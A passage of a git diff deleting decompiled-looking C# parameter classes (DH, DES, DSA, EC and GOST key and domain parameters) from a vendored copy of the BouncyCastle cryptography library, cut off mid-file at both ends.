: DHKeyParameters -{ - private readonly BigInteger y; - - public virtual BigInteger Y => y; - - private static BigInteger Validate(BigInteger y, DHParameters dhParams) - { - if (y == null) - { - throw new ArgumentNullException("y"); - } - if (y.CompareTo(BigInteger.Two) < 0 || y.CompareTo(dhParams.P.Subtract(BigInteger.Two)) > 0) - { - throw new ArgumentException("invalid DH public key", "y"); - } - if (dhParams.Q != null && !y.ModPow(dhParams.Q, dhParams.P).Equals(BigInteger.One)) - { - throw new ArgumentException("y value does not appear to be in correct group", "y"); - } - return y; - } - - public DHPublicKeyParameters(BigInteger y, DHParameters parameters) - : base(isPrivate: false, parameters) - { - this.y = Validate(y, parameters); - } - - public DHPublicKeyParameters(BigInteger y, DHParameters parameters, DerObjectIdentifier algorithmOid) - : base(isPrivate: false, parameters, algorithmOid) - { - this.y = Validate(y, parameters); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is DHPublicKeyParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(DHPublicKeyParameters other) - { - if (y.Equals(other.y)) - { - return Equals((DHKeyParameters)other); - } - return false; - } - - public override int GetHashCode() - { - return y.GetHashCode() ^ base.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHValidationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHValidationParameters.cs deleted file mode 100644 index 5f0ce27..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DHValidationParameters.cs +++ /dev/null @@ -1,56 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DHValidationParameters -{ - private readonly byte[] seed; - - private readonly int counter; - - public int Counter => counter; - - public DHValidationParameters(byte[] seed, int counter) - { - if (seed == null) - { - throw new ArgumentNullException("seed"); - } - this.seed = (byte[])seed.Clone(); - this.counter = counter; - } - - public byte[] GetSeed() - { - return (byte[])seed.Clone(); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is DHValidationParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(DHValidationParameters other) - { - if (counter == other.counter) - { - return Arrays.AreEqual(seed, other.seed); - } - return false; - } - - public override int GetHashCode() - { - int num = counter; - return num.GetHashCode() ^ Arrays.GetHashCode(seed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DesEdeParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DesEdeParameters.cs deleted file mode 100644 index 656a6c8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DesEdeParameters.cs +++ /dev/null @@ -1,99 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DesEdeParameters : DesParameters -{ - public const int DesEdeKeyLength = 24; - - private static byte[] FixKey(byte[] key, int keyOff, int keyLen) - { - byte[] array = new byte[24]; - switch (keyLen) - { - case 16: - Array.Copy(key, keyOff, array, 0, 16); - Array.Copy(key, keyOff, array, 16, 8); - break; - case 24: - Array.Copy(key, keyOff, array, 0, 24); - break; - default: - throw new ArgumentException("Bad length for DESede key: " + keyLen, "keyLen"); - } - if (IsWeakKey(array)) - { - throw new ArgumentException("attempt to create weak DESede key"); - } - return array; - } - - public DesEdeParameters(byte[] key) - : base(FixKey(key, 0, key.Length)) - { - } - - public DesEdeParameters(byte[] key, int keyOff, int keyLen) - : base(FixKey(key, keyOff, keyLen)) - { - } - - public static bool IsWeakKey(byte[] key, int offset, int length) - { - for (int i = offset; i < length; i += 8) - { - if (DesParameters.IsWeakKey(key, i)) - { - return true; - } - } - return false; - } - - public new static bool IsWeakKey(byte[] key, int offset) - { - return IsWeakKey(key, offset, key.Length - offset); - } - - public new static bool IsWeakKey(byte[] key) - { - return IsWeakKey(key, 0, key.Length); - } - - public static bool IsRealEdeKey(byte[] key, int offset) - { - if (key.Length != 16) - { - return IsReal3Key(key, offset); - } - return IsReal2Key(key, offset); - } - - public static bool IsReal2Key(byte[] key, int offset) - { - bool flag = false; - for (int i = offset; i != offset + 8; i++) - { - flag |= key[i] != key[i + 8]; - } - return flag; - } - - public static bool IsReal3Key(byte[] key, int offset) - { - bool flag = false; - bool flag2 = false; - bool flag3 = false; - for (int i = offset; i != offset + 8; i++) - { - flag |= key[i] != key[i + 8]; - flag2 |= key[i] != key[i + 16]; - flag3 |= key[i + 8] != key[i + 16]; - } - if (flag && flag2) - { - return flag3; - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DesParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DesParameters.cs deleted file mode 100644 index c3c1dfa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DesParameters.cs +++ /dev/null @@ -1,101 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DesParameters : KeyParameter -{ - public const int DesKeyLength = 8; - - private const int N_DES_WEAK_KEYS = 16; - - private static readonly byte[] DES_weak_keys = new byte[128] - { - 1, 1, 1, 1, 1, 1, 1, 1, 31, 31, - 31, 31, 14, 14, 14, 14, 224, 224, 224, 224, - 241, 241, 241, 241, 254, 254, 254, 254, 254, 254, - 254, 254, 1, 254, 1, 254, 1, 254, 1, 254, - 31, 224, 31, 224, 14, 241, 14, 241, 1, 224, - 1, 224, 1, 241, 1, 241, 31, 254, 31, 254, - 14, 254, 14, 254, 1, 31, 1, 31, 1, 14, - 1, 14, 224, 254, 224, 254, 241, 254, 241, 254, - 254, 1, 254, 1, 254, 1, 254, 1, 224, 31, - 224, 31, 241, 14, 241, 14, 224, 1, 224, 1, - 241, 1, 241, 1, 254, 31, 254, 31, 254, 14, - 254, 14, 31, 1, 31, 1, 14, 1, 14, 1, - 254, 224, 254, 224, 254, 241, 254, 241 - }; - - public DesParameters(byte[] key) - : base(key) - { - if (IsWeakKey(key)) - { - throw new ArgumentException("attempt to create weak DES key"); - } - } - - public DesParameters(byte[] key, int keyOff, int keyLen) - : base(key, keyOff, keyLen) - { - if (IsWeakKey(key, keyOff)) - { - throw new ArgumentException("attempt to create weak DES key"); - } - } - - public static bool IsWeakKey(byte[] key, int offset) - { - if (key.Length - offset < 8) - { - throw new ArgumentException("key material too short."); - } - for (int i = 0; i < 16; i++) - { - bool flag = false; - for (int j = 0; j < 8; j++) - { - if (key[j + offset] != DES_weak_keys[i * 8 + j]) - { - flag = true; - break; - } - } - if (!flag) - { - return true; - } - } - return false; - } - - public static bool IsWeakKey(byte[] key) - { - return IsWeakKey(key, 0); - } - - public static byte SetOddParity(byte b) - { - uint num = (uint)(b ^ 1); - num ^= num >> 4; - num ^= num >> 2; - num ^= num >> 1; - num &= 1; - return (byte)(b ^ num); - } - - public static void SetOddParity(byte[] bytes) - { - for (int i = 0; i < bytes.Length; i++) - { - bytes[i] = SetOddParity(bytes[i]); - } - } - - public static void SetOddParity(byte[] bytes, int off, int len) - { - for (int i = 0; i < len; i++) - { - bytes[off + i] = SetOddParity(bytes[off + i]); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaKeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaKeyGenerationParameters.cs deleted file mode 100644 index a10ed80..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaKeyGenerationParameters.cs +++ /dev/null @@ -1,16 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DsaKeyGenerationParameters : KeyGenerationParameters -{ - private readonly DsaParameters parameters; - - public DsaParameters Parameters => parameters; - - public DsaKeyGenerationParameters(SecureRandom random, DsaParameters parameters) - : base(random, parameters.P.BitLength - 1) - { - this.parameters = parameters; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaKeyParameters.cs deleted file mode 100644 index 093d25c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaKeyParameters.cs +++ /dev/null @@ -1,46 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Parameters; - -public abstract class DsaKeyParameters : AsymmetricKeyParameter -{ - private readonly DsaParameters parameters; - - public DsaParameters Parameters => parameters; - - protected DsaKeyParameters(bool isPrivate, DsaParameters parameters) - : base(isPrivate) - { - this.parameters = parameters; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is DsaKeyParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(DsaKeyParameters other) - { - if (object.Equals(parameters, other.parameters)) - { - return Equals((AsymmetricKeyParameter)other); - } - return false; - } - - public override int GetHashCode() - { - int num = base.GetHashCode(); - if (parameters != null) - { - num ^= parameters.GetHashCode(); - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaParameterGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaParameterGenerationParameters.cs deleted file mode 100644 index d37d923..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaParameterGenerationParameters.cs +++ /dev/null @@ -1,44 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DsaParameterGenerationParameters -{ - public const int DigitalSignatureUsage = 1; - - public const int KeyEstablishmentUsage = 2; - - private readonly int l; - - private readonly int n; - - private readonly int certainty; - - private readonly SecureRandom random; - - private readonly int usageIndex; - - public virtual int L => l; - - public virtual int N => n; - - public virtual int UsageIndex => usageIndex; - - public virtual int Certainty => certainty; - - public virtual SecureRandom Random => random; - - public DsaParameterGenerationParameters(int L, int N, int certainty, SecureRandom random) - : this(L, N, certainty, random, -1) - { - } - - public DsaParameterGenerationParameters(int L, int N, int certainty, SecureRandom random, int usageIndex) - { - l = L; - n = N; - this.certainty = certainty; - this.random = random; - this.usageIndex = usageIndex; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaParameters.cs deleted file mode 100644 index b86f2f6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaParameters.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DsaParameters : ICipherParameters -{ - private readonly BigInteger p; - - private readonly BigInteger q; - - private readonly BigInteger g; - - private readonly DsaValidationParameters validation; - - public BigInteger P => p; - - public BigInteger Q => q; - - public BigInteger G => g; - - public DsaValidationParameters ValidationParameters => validation; - - public DsaParameters(BigInteger p, BigInteger q, BigInteger g) - : this(p, q, g, null) - { - } - - public DsaParameters(BigInteger p, BigInteger q, BigInteger g, DsaValidationParameters parameters) - { - if (p == null) - { - throw new ArgumentNullException("p"); - } - if (q == null) - { - throw new ArgumentNullException("q"); - } - if (g == null) - { - throw new ArgumentNullException("g"); - } - this.p = p; - this.q = q; - this.g = g; - validation = parameters; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is DsaParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(DsaParameters other) - { - if (p.Equals(other.p) && q.Equals(other.q)) - { - return g.Equals(other.g); - } - return false; - } - - public override int GetHashCode() - { - return p.GetHashCode() ^ q.GetHashCode() ^ g.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaPrivateKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaPrivateKeyParameters.cs deleted file mode 100644 index 098f25f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaPrivateKeyParameters.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DsaPrivateKeyParameters : DsaKeyParameters -{ - private readonly BigInteger x; - - public BigInteger X => x; - - public DsaPrivateKeyParameters(BigInteger x, DsaParameters parameters) - : base(isPrivate: true, parameters) - { - if (x == null) - { - throw new ArgumentNullException("x"); - } - this.x = x; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is DsaPrivateKeyParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(DsaPrivateKeyParameters other) - { - if (x.Equals(other.x)) - { - return Equals((DsaKeyParameters)other); - } - return false; - } - - public override int GetHashCode() - { - return x.GetHashCode() ^ base.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaPublicKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaPublicKeyParameters.cs deleted file mode 100644 index 1cd5178..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaPublicKeyParameters.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DsaPublicKeyParameters : DsaKeyParameters -{ - private readonly BigInteger y; - - public BigInteger Y => y; - - private static BigInteger Validate(BigInteger y, DsaParameters parameters) - { - if (parameters != null && (y.CompareTo(BigInteger.Two) < 0 || y.CompareTo(parameters.P.Subtract(BigInteger.Two)) > 0 || !y.ModPow(parameters.Q, parameters.P).Equals(BigInteger.One))) - { - throw new ArgumentException("y value does not appear to be in correct group"); - } - return y; - } - - public DsaPublicKeyParameters(BigInteger y, DsaParameters parameters) - : base(isPrivate: false, parameters) - { - if (y == null) - { - throw new ArgumentNullException("y"); - } - this.y = Validate(y, parameters); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is DsaPublicKeyParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(DsaPublicKeyParameters other) - { - if (y.Equals(other.y)) - { - return Equals((DsaKeyParameters)other); - } - return false; - } - - public override int GetHashCode() - { - return y.GetHashCode() ^ base.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaValidationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaValidationParameters.cs deleted file mode 100644 index af051e0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/DsaValidationParameters.cs +++ /dev/null @@ -1,66 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class DsaValidationParameters -{ - private readonly byte[] seed; - - private readonly int counter; - - private readonly int usageIndex; - - public virtual int Counter => counter; - - public virtual int UsageIndex => usageIndex; - - public DsaValidationParameters(byte[] seed, int counter) - : this(seed, counter, -1) - { - } - - public DsaValidationParameters(byte[] seed, int counter, int usageIndex) - { - if (seed == null) - { - throw new ArgumentNullException("seed"); - } - this.seed = (byte[])seed.Clone(); - this.counter = counter; - this.usageIndex = usageIndex; - } - - public virtual byte[] GetSeed() - { - return (byte[])seed.Clone(); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is DsaValidationParameters other)) - { - return false; - } - return Equals(other); - } - - protected virtual bool Equals(DsaValidationParameters other) - { - if (counter == other.counter) - { - return Arrays.AreEqual(seed, other.seed); - } - return false; - } - - public override int GetHashCode() - { - int num = counter; - return num.GetHashCode() ^ Arrays.GetHashCode(seed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECDomainParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECDomainParameters.cs deleted file mode 100644 index 6a2377f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECDomainParameters.cs +++ /dev/null @@ -1,131 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ECDomainParameters -{ - internal ECCurve curve; - - internal byte[] seed; - - internal ECPoint g; - - internal BigInteger n; - - internal BigInteger h; - - internal BigInteger hInv; - - public ECCurve Curve => curve; - - public ECPoint G => g; - - public BigInteger N => n; - - public BigInteger H => h; - - public BigInteger HInv - { - get - { - lock (this) - { - if (hInv == null) - { - hInv = h.ModInverse(n); - } - return hInv; - } - } - } - - public ECDomainParameters(ECCurve curve, ECPoint g, BigInteger n) - : this(curve, g, n, BigInteger.One, null) - { - } - - public ECDomainParameters(ECCurve curve, ECPoint g, BigInteger n, BigInteger h) - : this(curve, g, n, h, null) - { - } - - public ECDomainParameters(ECCurve curve, ECPoint g, BigInteger n, BigInteger h, byte[] seed) - { - if (curve == null) - { - throw new ArgumentNullException("curve"); - } - if (g == null) - { - throw new ArgumentNullException("g"); - } - if (n == null) - { - throw new ArgumentNullException("n"); - } - this.curve = curve; - this.g = Validate(curve, g); - this.n = n; - this.h = h; - this.seed = Arrays.Clone(seed); - } - - public byte[] GetSeed() - { - return Arrays.Clone(seed); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is ECDomainParameters other)) - { - return false; - } - return Equals(other); - } - - protected virtual bool Equals(ECDomainParameters other) - { - if (curve.Equals(other.curve) && g.Equals(other.g) && n.Equals(other.n)) - { - return h.Equals(other.h); - } - return false; - } - - public override int GetHashCode() - { - int hashCode = curve.GetHashCode(); - hashCode *= 37; - hashCode ^= g.GetHashCode(); - hashCode *= 37; - hashCode ^= n.GetHashCode(); - hashCode *= 37; - return hashCode ^ h.GetHashCode(); - } - - internal static ECPoint Validate(ECCurve c, ECPoint q) - { - if (q == null) - { - throw new ArgumentException("Point has null value", "q"); - } - q = ECAlgorithms.ImportPoint(c, q).Normalize(); - if (q.IsInfinity) - { - throw new ArgumentException("Point at infinity", "q"); - } - if (!q.IsValid()) - { - throw new ArgumentException("Point not on curve", "q"); - } - return q; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECGost3410Parameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECGost3410Parameters.cs deleted file mode 100644 index 4496753..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECGost3410Parameters.cs +++ /dev/null @@ -1,34 +0,0 @@ -using Org.BouncyCastle.Asn1; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ECGost3410Parameters : ECNamedDomainParameters -{ - private readonly DerObjectIdentifier _publicKeyParamSet; - - private readonly DerObjectIdentifier _digestParamSet; - - private readonly DerObjectIdentifier _encryptionParamSet; - - public DerObjectIdentifier PublicKeyParamSet => _publicKeyParamSet; - - public DerObjectIdentifier DigestParamSet => _digestParamSet; - - public DerObjectIdentifier EncryptionParamSet => _encryptionParamSet; - - public ECGost3410Parameters(ECNamedDomainParameters dp, DerObjectIdentifier publicKeyParamSet, DerObjectIdentifier digestParamSet, DerObjectIdentifier encryptionParamSet) - : base(dp.Name, dp.Curve, dp.G, dp.N, dp.H, dp.GetSeed()) - { - _publicKeyParamSet = publicKeyParamSet; - _digestParamSet = digestParamSet; - _encryptionParamSet = encryptionParamSet; - } - - public ECGost3410Parameters(ECDomainParameters dp, DerObjectIdentifier publicKeyParamSet, DerObjectIdentifier digestParamSet, DerObjectIdentifier encryptionParamSet) - : base(publicKeyParamSet, dp.Curve, dp.G, dp.N, dp.H, dp.GetSeed()) - { - _publicKeyParamSet = publicKeyParamSet; - _digestParamSet = digestParamSet; - _encryptionParamSet = encryptionParamSet; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECKeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECKeyGenerationParameters.cs deleted file mode 100644 index ba0847b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECKeyGenerationParameters.cs +++ /dev/null @@ -1,27 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ECKeyGenerationParameters : KeyGenerationParameters -{ - private readonly ECDomainParameters domainParams; - - private readonly DerObjectIdentifier publicKeyParamSet; - - public ECDomainParameters DomainParameters => domainParams; - - public DerObjectIdentifier PublicKeyParamSet => publicKeyParamSet; - - public ECKeyGenerationParameters(ECDomainParameters domainParameters, SecureRandom random) - : base(random, domainParameters.N.BitLength) - { - domainParams = domainParameters; - } - - public ECKeyGenerationParameters(DerObjectIdentifier publicKeyParamSet, SecureRandom random) - : this(ECKeyParameters.LookupParameters(publicKeyParamSet), random) - { - this.publicKeyParamSet = publicKeyParamSet; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECKeyParameters.cs deleted file mode 100644 index 4b68e67..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECKeyParameters.cs +++ /dev/null @@ -1,122 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public abstract class ECKeyParameters : AsymmetricKeyParameter -{ - private static readonly string[] algorithms = new string[6] { "EC", "ECDSA", "ECDH", "ECDHC", "ECGOST3410", "ECMQV" }; - - private readonly string algorithm; - - private readonly ECDomainParameters parameters; - - private readonly DerObjectIdentifier publicKeyParamSet; - - public string AlgorithmName => algorithm; - - public ECDomainParameters Parameters => parameters; - - public DerObjectIdentifier PublicKeyParamSet => publicKeyParamSet; - - protected ECKeyParameters(string algorithm, bool isPrivate, ECDomainParameters parameters) - : base(isPrivate) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - if (parameters == null) - { - throw new ArgumentNullException("parameters"); - } - this.algorithm = VerifyAlgorithmName(algorithm); - this.parameters = parameters; - } - - protected ECKeyParameters(string algorithm, bool isPrivate, DerObjectIdentifier publicKeyParamSet) - : base(isPrivate) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - if (publicKeyParamSet == null) - { - throw new ArgumentNullException("publicKeyParamSet"); - } - this.algorithm = VerifyAlgorithmName(algorithm); - parameters = LookupParameters(publicKeyParamSet); - this.publicKeyParamSet = publicKeyParamSet; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is ECDomainParameters obj2)) - { - return false; - } - return Equals(obj2); - } - - protected bool Equals(ECKeyParameters other) - { - if (parameters.Equals(other.parameters)) - { - return Equals((AsymmetricKeyParameter)other); - } - return false; - } - - public override int GetHashCode() - { - return parameters.GetHashCode() ^ base.GetHashCode(); - } - - internal ECKeyGenerationParameters CreateKeyGenerationParameters(SecureRandom random) - { - if (publicKeyParamSet != null) - { - return new ECKeyGenerationParameters(publicKeyParamSet, random); - } - return new ECKeyGenerationParameters(parameters, random); - } - - internal static string VerifyAlgorithmName(string algorithm) - { - string result = Platform.ToUpperInvariant(algorithm); - if (Array.IndexOf((Array)algorithms, (object?)algorithm, 0, algorithms.Length) < 0) - { - throw new ArgumentException("unrecognised algorithm: " + algorithm, "algorithm"); - } - return result; - } - - internal static ECDomainParameters LookupParameters(DerObjectIdentifier publicKeyParamSet) - { - if (publicKeyParamSet == null) - { - throw new ArgumentNullException("publicKeyParamSet"); - } - ECDomainParameters eCDomainParameters = ECGost3410NamedCurves.GetByOid(publicKeyParamSet); - if (eCDomainParameters == null) - { - X9ECParameters x9ECParameters = ECKeyPairGenerator.FindECCurveByOid(publicKeyParamSet); - if (x9ECParameters == null) - { - throw new ArgumentException("OID is not a valid public key parameter set", "publicKeyParamSet"); - } - eCDomainParameters = new ECDomainParameters(x9ECParameters.Curve, x9ECParameters.G, x9ECParameters.N, x9ECParameters.H, x9ECParameters.GetSeed()); - } - return eCDomainParameters; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECNamedDomainParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECNamedDomainParameters.cs deleted file mode 100644 index 0d624b9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECNamedDomainParameters.cs +++ /dev/null @@ -1,35 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ECNamedDomainParameters : ECDomainParameters -{ - private readonly DerObjectIdentifier name; - - public DerObjectIdentifier Name => name; - - public ECNamedDomainParameters(DerObjectIdentifier name, ECDomainParameters dp) - : this(name, dp.curve, dp.g, dp.n, dp.h, dp.seed) - { - } - - public ECNamedDomainParameters(DerObjectIdentifier name, ECCurve curve, ECPoint g, BigInteger n) - : base(curve, g, n) - { - this.name = name; - } - - public ECNamedDomainParameters(DerObjectIdentifier name, ECCurve curve, ECPoint g, BigInteger n, BigInteger h) - : base(curve, g, n, h) - { - this.name = name; - } - - public ECNamedDomainParameters(DerObjectIdentifier name, ECCurve curve, ECPoint g, BigInteger n, BigInteger h, byte[] seed) - : base(curve, g, n, h, seed) - { - this.name = name; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECPrivateKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECPrivateKeyParameters.cs deleted file mode 100644 index 4ff6db7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECPrivateKeyParameters.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ECPrivateKeyParameters : ECKeyParameters -{ - private readonly BigInteger d; - - public BigInteger D => d; - - public ECPrivateKeyParameters(BigInteger d, ECDomainParameters parameters) - : this("EC", d, parameters) - { - } - - [Obsolete("Use version with explicit 'algorithm' parameter")] - public ECPrivateKeyParameters(BigInteger d, DerObjectIdentifier publicKeyParamSet) - : base("ECGOST3410", isPrivate: true, publicKeyParamSet) - { - if (d == null) - { - throw new ArgumentNullException("d"); - } - this.d = d; - } - - public ECPrivateKeyParameters(string algorithm, BigInteger d, ECDomainParameters parameters) - : base(algorithm, isPrivate: true, parameters) - { - if (d == null) - { - throw new ArgumentNullException("d"); - } - this.d = d; - } - - public ECPrivateKeyParameters(string algorithm, BigInteger d, DerObjectIdentifier publicKeyParamSet) - : base(algorithm, isPrivate: true, publicKeyParamSet) - { - if (d == null) - { - throw new ArgumentNullException("d"); - } - this.d = d; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is ECPrivateKeyParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(ECPrivateKeyParameters other) - { - if (d.Equals(other.d)) - { - return Equals((ECKeyParameters)other); - } - return false; - } - - public override int GetHashCode() - { - return d.GetHashCode() ^ base.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECPublicKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECPublicKeyParameters.cs deleted file mode 100644 index 71bbb67..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ECPublicKeyParameters.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ECPublicKeyParameters : ECKeyParameters -{ - private readonly ECPoint q; - - public ECPoint Q => q; - - public ECPublicKeyParameters(ECPoint q, ECDomainParameters parameters) - : this("EC", q, parameters) - { - } - - [Obsolete("Use version with explicit 'algorithm' parameter")] - public ECPublicKeyParameters(ECPoint q, DerObjectIdentifier publicKeyParamSet) - : base("ECGOST3410", isPrivate: false, publicKeyParamSet) - { - if (q == null) - { - throw new ArgumentNullException("q"); - } - this.q = ECDomainParameters.Validate(base.Parameters.Curve, q); - } - - public ECPublicKeyParameters(string algorithm, ECPoint q, ECDomainParameters parameters) - : base(algorithm, isPrivate: false, parameters) - { - if (q == null) - { - throw new ArgumentNullException("q"); - } - this.q = ECDomainParameters.Validate(base.Parameters.Curve, q); - } - - public ECPublicKeyParameters(string algorithm, ECPoint q, DerObjectIdentifier publicKeyParamSet) - : base(algorithm, isPrivate: false, publicKeyParamSet) - { - if (q == null) - { - throw new ArgumentNullException("q"); - } - this.q = 